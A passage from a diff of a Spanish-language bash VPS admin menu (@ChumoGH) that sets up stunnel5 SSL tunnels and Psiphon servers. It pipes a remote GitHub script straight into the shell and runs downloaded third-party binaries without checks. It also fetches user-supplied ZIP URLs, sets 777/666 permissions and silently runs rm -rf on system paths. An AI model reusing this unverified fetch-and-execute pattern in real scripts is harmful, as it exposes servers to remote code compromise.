+rm -rf /ADMcgh/stunnel* &>/dev/null
+rm -rf /var/lib/stunnel
+msg -bar
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+rm -rf /etc/stunnel/* > /dev/null
+echo -e "\033[1;33m PUERTO SSL/TLS CERRADO!"
+msg -bar
+return 0
+;;
+esac
+#FIN VERIFICA STUNNEL5 ACTIVO
+}
+unset lang
+figlet " STUNNEL5 " | boxes -d stone -p a2v1
+msg -bar
+echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m Cargar con ZIP URL \033[0;32m(#OFICIAL)"
+msg -bar
+selection=$(selection_fun 4)
+case ${selection} in
+1)
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portx
+ tput cuu1 >&2 && tput dl1 >&2
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+inst_stunnel5
+echo "; It is recommended to drop root privileges if stunnel is started by root
+setuid = stunnel
+setgid = stunnel
+
+; PID file is created inside the chroot jail (if enabled)
+chroot = /var/lib/stunnel
+pid = /stunnel.pid
+
+; TLS front-end to a web server
+; Use the cert and key from certbot
+[https]
+accept = ${SSLPORT}
+connect = ${DPORT}
+cert = /usr/local/etc/stunnel/stunnel.cert
+key = /usr/local/etc/stunnel/stunnel.key
+" > /usr/local/etc/stunnel/stunnel.conf
+openssl genrsa -out key.pem 2048 > /dev/null 2>&1
+(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(cat < /bin/ejecutar/IPcgh):81" ; echo "" ; echo "" ; echo "" ; echo "@ChumoGH")|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1
+[[ -d /usr/local/etc/stunnel ]] && cat cert.pem > /usr/local/etc/stunnel/stunnel.cert
+[[ -d /usr/local/etc/stunnel ]] && cat key.pem > /usr/local/etc/stunnel/stunnel.key
+[[ -e /usr/local/share/doc/stunnel/examples/stunnel.init ]] && cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5
+chmod 755 /etc/init.d/stunnel5
+cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service
+systemctl daemon-reload &>/dev/null
+systemctl start stunnel5 &>/dev/null
+systemctl enable stunnel5 &>/dev/null
+msg -bar
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+2)
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portx
+ tput cuu1 >&2 && tput dl1 >&2
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+inst_stunnel5
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh)
+echo "; It is recommended to drop root privileges if stunnel is started by root
+setuid = stunnel
+setgid = stunnel
+
+; PID file is created inside the chroot jail (if enabled)
+chroot = /var/lib/stunnel
+pid = /stunnel.pid
+
+; TLS front-end to a web server
+; Use the cert and key from certbot
+[https]
+accept = ${SSLPORT}
+connect = ${DPORT}
+cert = /usr/local/etc/stunnel/stunnel.cert
+key = /usr/local/etc/stunnel/stunnel.key
+" > /usr/local/etc/stunnel/stunnel.conf
+cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5
+chmod 755 /etc/init.d/stunnel5
+cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service
+[[ -e /data/cert.crt && -e /data/cert.key ]] && {
+cat /data/cert.key > /usr/local/etc/stunnel/stunnel.key
+cat /data/cert.crt > /usr/local/etc/stunnel/stunnel.cert
+} || {
+echo -e " ERROR AL CREAR CERTIFICADO "
+rm -f /etc/systemd/system/stunnel5.service &>/dev/null
+rm -rf /usr/local/etc/stunnel/* &>/dev/null
+rm -rf /usr/local/share/doc/stunnel &>/dev/null
+rm -rf /ADMcgh/stunnel-5.65 &>/dev/null
+rm -f /usr/local/etc/stunnel/stunnel.conf &>/dev/null
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION FALLIDA"
+msg -bar
+return 0
+}
+systemctl daemon-reload &>/dev/null
+systemctl start stunnel5 &>/dev/null
+systemctl enable stunnel5 &>/dev/null
+msg -bar
+#echo "Limpiando sistema y Reiniciando Servicios"
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+3)
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portx
+ tput cuu1 >&2 && tput dl1 >&2
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+inst_stunnel5
+[[ -e /usr/local/etc/stunnel/stunnel.cert && -e /usr/local/etc/stunnel/stunnel.key ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25
+msg -bar
+echo -e "Descarga el fichero URL del Certificado SSL "
+msg -bar
+ echo -e " \033[4;31mNOTA importante\033[0m"
+ echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online"
+ echo -e " Si Aun no lo has hecho, Cancela este paso"
+ echo -e " Evitar Errores Futuros"
+ echo -e " y causar problemas en futuras instalaciones.\033[0m"
+ msg -bar
+msg -bar
+echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados "
+msg -bar
+read -p " Pega tu Link : " urlm
+wget -q -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido"
+msg -bar
+echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m"
+msg -bar
+unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir "
+[[ $(ls | grep ".key") ]] && cat *.key > /usr/local/etc/stunnel/stunnel.key && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m"
+[[ $(ls | grep ".crt") ]] && cat *.crt > /usr/local/etc/stunnel/stunnel.cert && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m"
+[[ $(ls | grep ".pem") ]] && cat *.pem > /usr/local/etc/stunnel/stunnel.cert && echo -e "\033[1;42m PEM del Certificado cargada Exitodamente\033[0m"
+rm -f *.key *.crt *.pem certificados.zip 1> /dev/null 2> /dev/null && cd $HOME
+echo "; It is recommended to drop root privileges if stunnel is started by root
+setuid = stunnel
+setgid = stunnel
+
+; PID file is created inside the chroot jail (if enabled)
+chroot = /var/lib/stunnel
+pid = /stunnel.pid
+
+; TLS front-end to a web server
+; Use the cert and key from certbot
+[https]
+accept = ${SSLPORT}
+connect = ${DPORT}
+cert = /usr/local/etc/stunnel/stunnel.cert
+key = /usr/local/etc/stunnel/stunnel.key
+" > /usr/local/etc/stunnel/stunnel.conf
+cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5
+chmod 755 /etc/init.d/stunnel5
+cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service
+[[ -e /usr/local/etc/stunnel/stunnel.key && -e /usr/local/etc/stunnel/stunnel.cert ]] || {
+echo -e " ERROR AL CREAR CERTIFICADO "
+rm -f /etc/systemd/system/stunnel5.service &>/dev/null
+rm -rf /usr/local/etc/stunnel/* &>/dev/null
+rm -rf /usr/local/share/doc/stunnel &>/dev/null
+rm -rf /ADMcgh/stunnel-5.65 &>/dev/null
+rm -f /usr/local/etc/stunnel/stunnel.conf &>/dev/null
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m FALLO AL INSTALAR STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION FALLIDA"
+msg -bar
+return 0
+}
+systemctl daemon-reload &>/dev/null
+systemctl start stunnel5 &>/dev/null
+systemctl enable stunnel5 &>/dev/null
+msg -bar
+#echo "Limpiando sistema y Reiniciando Servicios"
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+*)
+return 0
+;;
+esac
+}
+
+
+painel_upload () {
+msg -bar
+echo -e "${cor[2]}Desea Instalar Panel De Upload?"
+msg -bar
+read -p " [ s | n ]: " up_load
+msg -bar
+ [[ "$up_load" = @(s|S|y|Y) ]] && bash /ADMcgh/insta_painel || {
+ echo -e "${cor[2]}Instalacao Abortada"
+ msg -bar
+ }
+}
+
+
+function psix(){
+clear
+tittle
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m${flech} ${cor[3]}PSIPHON OFICIAL "
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m${flech} ${cor[3]}PSIPHON HTTP CUSTOM ( \033[0;33mNEW\033[0m )"
+echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m${flech} ${cor[3]}INICIAR PSIPHON "
+echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m${flech} ${cor[3]}DETENER PSIPHON"
+echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m${flech} ${cor[3]}DETENER PSIPHON"
+msg -bar
+echo -e "\033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")"
+msg -bar #msg -bar
+selection=$(selection_fun 5)
+case ${selection} in
+1)
+psiserver
+read -p " Enter";;
+2)
+psiservernew
+read -p " Enter";;
+3)
+psiiniciar
+read -p " Enter";;
+4)
+psidetener
+read -p " Enter";;
+5)
+psireiniciar
+read -p " Enter";;
+0)
+return;;
+esac
+}
+
+function psireiniciar(){
+echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m"
+echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m"
+echo -e "\033[1;33m Continuar?\033[0m"
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null
+killall psiphond 1> /dev/null 2> /dev/null
+cd /root/psi 2> /dev/null
+screen -dmS psi ./psiphond run 2> /dev/null
+if pgrep psiphond >/dev/null
+then
+echo "Status: El proceso se ha reiniciado"
+else
+echo "Status: El servicio est detenido"
+fi
+fi
+echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m"
+read -p " "
+}
+
+function psidetener(){
+echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m"
+echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m"
+echo -e "\033[1;33m Continuar?\033[0m"
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null
+killall psiphond 1> /dev/null 2> /dev/null
+if pgrep psiphond >/dev/null
+then
+echo "Status: El proceso aun sigue activo"
+else
+echo "Status: El servicio se ha detenido"
+fi
+fi
+echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m"
+read -p " "
+}
+
+function psiiniciar(){
+echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m"
+echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m"
+echo -e "\033[1;33m Continuar?\033[0m"
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null
+killall psiphond 1> /dev/null 2> /dev/null
+cd /root/psi 2> /dev/null
+screen -dmS psi ./psiphond run 2> /dev/null
+if pgrep psiphond >/dev/null
+then
+echo "Status: El proceso se ha iniciado"
+else
+echo "Status: El servicio no se ha iniciado. Verifique su configuracin o reinstale el servidor"
+fi
+fi
+echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m"
+read -p " "
+}
+
+psiserver(){
+ install_psiphone() {
+ clear && clear
+ if ps aux | grep 'psiphond' | grep -v grep >/dev/null; then
+ echo "El proceso psiphond ya está activo."
+ exit 1
+ fi
+
+ msg -bar
+ msg -tit
+ msg -bar
+ msg -ama " INSTALADOR DE SERVR-PSIPHONE"
+ msg -bar
+rm -rf /root/psi
+echo -e "\033[1;33m Se instalará el servidor de Psiphon\033[0m"
+echo -e "\033[1;33m ESTA OPCION PODRIA NO FUNCIONAR EN CIERTOS VPS\033[0m"
+echo -e "\033[1;33m Si ya tenías una instalacion Previa, esta se eliminara\033[0m"
+echo -e "\033[1;33m Debes tener instalado previamente GO Lang \033[0m"
+echo -e "\033[1;33m BINARIO FUNCIONAL BAJO GOLANG >='1.20.xx' \033[0m"
+echo -e "\033[1;33m PUEDES INSTALAR GO-LANG EN EL MENU 7, OPC 15\033[0m"
+echo -e "\033[1;33m Continuar?\033[0m"
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+rm -rf /root/psi
+kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null
+killall psiphond 1> /dev/null 2> /dev/null
+cd /root
+mkdir psi
+cd psi
+psi=`cat /root/psi.txt`;
+ship=$(wget -qO- ipv4.icanhazip.com)
+curl -o /root/psi/psiphond https://raw.githubusercontent.com/Psiphon-Labs/psiphon-tunnel-core-binaries/master/psiphond/psiphond 1> /dev/null 2> /dev/null
+chmod 777 psiphond
+ while true; do
+ echo -e "\033[1;33m PUERTO Psiphon SSH ( NO LOCAL SSH 22 ):\033[0m"
+ read -p " Listen-P-SSH: " sh
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $sh`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$sh"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+#2
+ while true; do
+ echo -e "\033[1;33m Escribe el puerto para Psiphon OSSH:\033[0m"
+ read -p " Listen-P-OSSH: " osh
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $osh`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$osh"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+#3
+ while true; do
+ echo -e "\033[1;33m Escribe el puerto para Psiphon FRONTED-MEEK:\033[0m"
+ read -p " Listen-P-OSSH: " fm
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $fm`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$fm"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+#4
+ while true; do
+ echo -e "\033[1;33m Escribe el puerto para Psiphon UNFRONTED-MEEK:\033[0m"
+ read -p " Listen UNFRONTED-MEEK: " umo
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $umo`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$umo"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+./psiphond --ipaddress $ship --protocol SSH:$sh --protocol OSSH:$osh --protocol FRONTED-MEEK-OSSH:$fm --protocol UNFRONTED-MEEK-OSSH:$umo generate
+chmod 666 psiphond.config
+chmod 666 psiphond-traffic-rules.config
+chmod 666 psiphond-osl.config
+chmod 666 psiphond-tactics.config
+chmod 666 server-entry.dat
+[[ -e server-entry.dat ]] && {
+serverCAT=$(cat server-entry.dat)
+cat server-entry.dat > /root/psi/psi.txt
+}
+screen -dmS psiserver ./psiphond run
+cd /root
+echo -e "\033[1;33m LA CONFIGURACION DE TU SERVIDOR ES:\033[0m"
+msg -bar
+echo -e "\033[1;32m ${serverCAT} \033[0m"
+msg -bar
+echo -e "\033[1;33m PROTOCOLOS HABILITADOS:\033[0m"
+echo -e "\033[1;33m ?? SSH:\033[1;32m $sh \033[0m"
+echo -e "\033[1;33m ?? OSSH:\033[1;32m $osh \033[0m"
+echo -e "\033[1;33m ?? FRONTED-MEEK-OSSH:\033[1;32m $fm \033[0m"
+echo -e "\033[1;33m ?? UNFRONTED-MEEK-OSSH:\033[1;32m $umo \033[0m"
+msg -bar
+echo -e " "
+echo -e "\033[1;33m DIRECTORIO DE ARCHIVOS:\033[1;32m /root/psi \033[0m"
+msg -bar
+[[ "$(ps x | grep psiserver | grep -v grep | awk '{print $1}')" ]] && msg -verd " >> SERVIDOR-PSIPHONE INSTALADO CON EXITO <<" || msg -ama " ERROR VERIFIQUE"
+msg -bar
+read -t 120 -n 1 -rsp $'\033[1;39m Presiona enter para Continuar\n'
+fi
+}
+
+ desactivar_psiphone() {
+ clear && clear
+ msg -bar
+ echo -e "\033[1;31m DESISNTALANDO PUERTOS UDP-SERVER "
+ msg -bar
+ rm -rf /root/psi
+ kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1>/dev/null 2>/dev/null
+ killall psiphond 1>/dev/null 2>/dev/null
+ [[ "$(ps x | grep psiserver | grep -v grep | awk '{print $1}')" ]] && echo -e "\033[1;32m >> UDP-SERVER DESINSTALADO CON EXICO << "
+ read -t 60 -n 1 -rsp $'\033[1;39m << Presiona enter para Continuar >>\n'
+ menu_inst
+ }
+ clear && clear
+ msg -bar
+ tittle
+ msg -ama " PSIPHONE-SERVER | @ChumoGH"
+ msg -bar
+ if [[ ! -e /bin/psiphond ]]; then
+ curl -o /bin/psiphond https://raw.githubusercontent.com/Psiphon-Labs/psiphon-tunnel-core-binaries/master/psiphond/psiphond &>/dev/null
+ chmod 777 /bin/psiphond
+ fi
+ echo -ne " \e[1;93m [\e[1;32m1\e[1;93m]\033[1;31m > \e[1;97m INSTALAR SERVER-PSIPHONE \e[97m \n"
+ echo -ne " \e[1;93m [\e[1;32m2\e[1;93m]\033[1;31m > \033[1;97m DETENER SERVER-PSIPHONE \e[97m \n"
+ msg -bar
+ echo -ne " \e[1;93m [\e[1;32m0\e[1;93m]\033[1;31m > \033[1;97m" && msg -bra " \e[97m\033[1;41m VOLVER \033[1;37m"
+ msg -bar
+ echo -ne "\033[1;97m OPCION:\e[32m "
+ read opcao
+ case $opcao in
+ 1)
+ msg -bar
+ install_psiphone
+ ;;
+ 2)
+ msg -bar
+ desactivar_psiphone
+ ;;
+ *)
+ echo -e "$ SOLO OPCION ENTRE [0-2]"
+ msg -bar
+ ;;
+ esac
+
+}
+
+
+function psiservernew(){
+clear&&clear
+msg -bar
+msg -ama " BINARIO OFICIAL DE Epro Dev Team"
+msg -bar
+echo -e "\033[1;33m SE RECOMIENDA : HTTP-OSSH 80 y OSSH 443\033[0m"
+echo -e "\033[1;33m HABILITAREMOS SERVIDOR PSIPHON SERVER CUSTOM MOD\033[0m"
+echo -e "\033[1;33m SI TIENES UNA CONFIG PREVIA, SE SOBREESCRIBIRA CON ESTA\033[0m"
+echo -e "\033[1;33m SE RECOMIENDA VERIFICAR EL PANNEL DE PUERTOS \033[0m"
+echo -e "\033[1;33m Y CHECAR LOS PUERTOS QUE VALLAS A UTILIZAR\033[0m"
+msg -bar
+echo -e "\033[1;33m ACEPTAS CONTINUAR?\033[0m"
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null
+killall psiphond 1> /dev/null 2> /dev/null
+rm -rf /root/psi 2>/dev/null
+rm /root/psi.txt 2>/dev/null
+rm /var/www/html/psi.txt 2>/dev/null
+cd /root
+mkdir psi
+cd psi
+wget 'https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/binarios/Psiphond-Epro/psiphond' -O '/root/psi/psiphond' 2> /dev/null
+cd /root/psi
+chmod 775 /root/psi/psiphond
+#1
+ while true; do
+ echo -e "\033[1;33m Escribe el puerto para FRONTED-MEEK-HTTP-OSSH:\033[0m"
+ read -p " Listen-P-OSSH: " httposh
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $httposh`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$httposh"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+#FIN 1
+#2
+ while true; do
+ echo -e "\033[1;33m Escribe el puerto para FRONTED-MEEK-OSSH:\033[0m"
+ read -p " Listen-P-OSSH: " osh
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $osh`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$osh"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+#FIN 2
+
+cd /root/psi
+[[ -e /root/psi/server-entry.dat ]] && {
+echo -e " CONFIGURACION BASE REUTILIZADA !!!"
+} || {
+/root/psi/psiphond --ipaddress 0.0.0.0 --protocol FRONTED-MEEK-HTTP-OSSH:$httposh --protocol FRONTED-MEEK-OSSH:$osh generate
+ [[ -e /root/psi/psiphond.config ]] && {
+ _ruta='/root/psi/'
+ psi1='psiphond-tactics.config'
+ psi2='psiphond-traffic-rules.config'
+ psi3='psiphond-osl.config'
+ #psi4='psiphond-traffic-rules.config'
+ sed -i "s%${psi1}%${_ruta}${psi1}%g" /root/psi/psiphond.config
+ sed -i "s%${psi2}%${_ruta}${psi2}%g" /root/psi/psiphond.config
+ sed -i "s%${psi3}%${_ruta}${psi3}%g" /root/psi/psiphond.config
+ #sed -i "s%${psi4}%${_ruta}${psi4}%g" /root/psi/psiphond.config
+ }
+
+}
+cat /root/psi/server-entry.dat >> /root/psi.txt
+ msg -bar
+ msg -azu "... ACIVANDO PSISERVER _..."
+if screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run ; then
+ #-------------------------
+ [[ $(grep -wc "psiserver" /bin/autoboot) = '0' ]] && {
+ echo -e "netstat -tlpn | grep -w $httposh > /dev/null || { screen -r -S 'psiserver' -X quit; screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run; }" >>/bin/autoboot
+ } || {
+ sed -i '/psiserver/d' /bin/autoboot
